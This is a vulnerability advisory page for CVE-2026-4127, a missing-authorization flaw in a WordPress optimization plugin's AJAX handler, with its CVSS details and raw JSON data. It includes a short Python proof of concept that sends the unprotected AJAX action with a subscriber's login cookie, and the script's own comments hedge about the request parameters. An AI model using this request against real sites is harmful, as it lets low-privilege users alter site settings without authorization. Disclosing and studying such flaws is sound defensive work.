Security Vulnerability Report
中文
CVE-2026-4127 CVSS 4.3 MEDIUM

CVE-2026-4127

Published: 2026-03-21 04:17:41
Last Modified: 2026-04-24 16:27:44

Description

The Speedup Optimization plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 1.5.9. The `speedup01_ajax_enabled()` function, which handles the `wp_ajax_speedup01_enabled` AJAX action, does not perform any capability check via `current_user_can()` and also lacks nonce verification. This is in contrast to other AJAX handlers in the same plugin (e.g., `speedup01_ajax_install_iox` and `speedup01_ajax_delete_cache_file`) which properly check for `install_plugins` and `manage_options` capabilities respectively. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enable or disable the site's optimization module by sending a POST request to admin-ajax.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Speedup Optimization Plugin <= 1.5.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" attacker_cookie = "wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" # Exploit payload # The action corresponds to the vulnerable hook 'wp_ajax_speedup01_enabled' data = { "action": "speedup01_ajax_enabled", # Depending on the specific implementation, there might be a value to toggle, e.g., 'enabled': '1' } headers = { "Cookie": attacker_cookie, "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if the optimization setting was toggled.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4127", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:41.393", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Speedup Optimization plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 1.5.9. The `speedup01_ajax_enabled()` function, which handles the `wp_ajax_speedup01_enabled` AJAX action, does not perform any capability check via `current_user_can()` and also lacks nonce verification. This is in contrast to other AJAX handlers in the same plugin (e.g., `speedup01_ajax_install_iox` and `speedup01_ajax_delete_cache_file`) which properly check for `install_plugins` and `manage_options` capabilities respectively. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enable or disable the site's optimization module by sending a POST request to admin-ajax."}, {"lang": "es", "value": "El plugin Speedup Optimization para WordPress es vulnerable a la falta de autorización en todas las versiones hasta la 1.5.9 inclusive. La función speedup01_ajax_enabled(), que maneja la acción AJAX wp_ajax_speedup01_enabled, no realiza ninguna comprobación de capacidad a través de current_user_can() y también carece de verificación de nonce. Esto contrasta con otros manejadores AJAX en el mismo plugin (por ejemplo, speedup01_ajax_install_iox y speedup01_ajax_delete_cache_file) que comprueban correctamente las capacidades install_plugins y manage_options respectivamente. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, habiliten o deshabiliten el módulo de optimización del sitio enviando una solicitud POST a admin-ajax."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/speedup-optimization/tags/1.5.9/speedup-optimization.php#L172", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/speedup-optimization/tags/1.5.9/speedup-optimization.php#L178", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/speedup-optimization/trunk/speedup-optimization.php#L172", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/speedup-optimization/trunk/speedup-optimization.php#L178", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3f37c650-af0d-4474-9c1b-7f8d361b4d81?source=cve", "source": "[email protected]"}]}}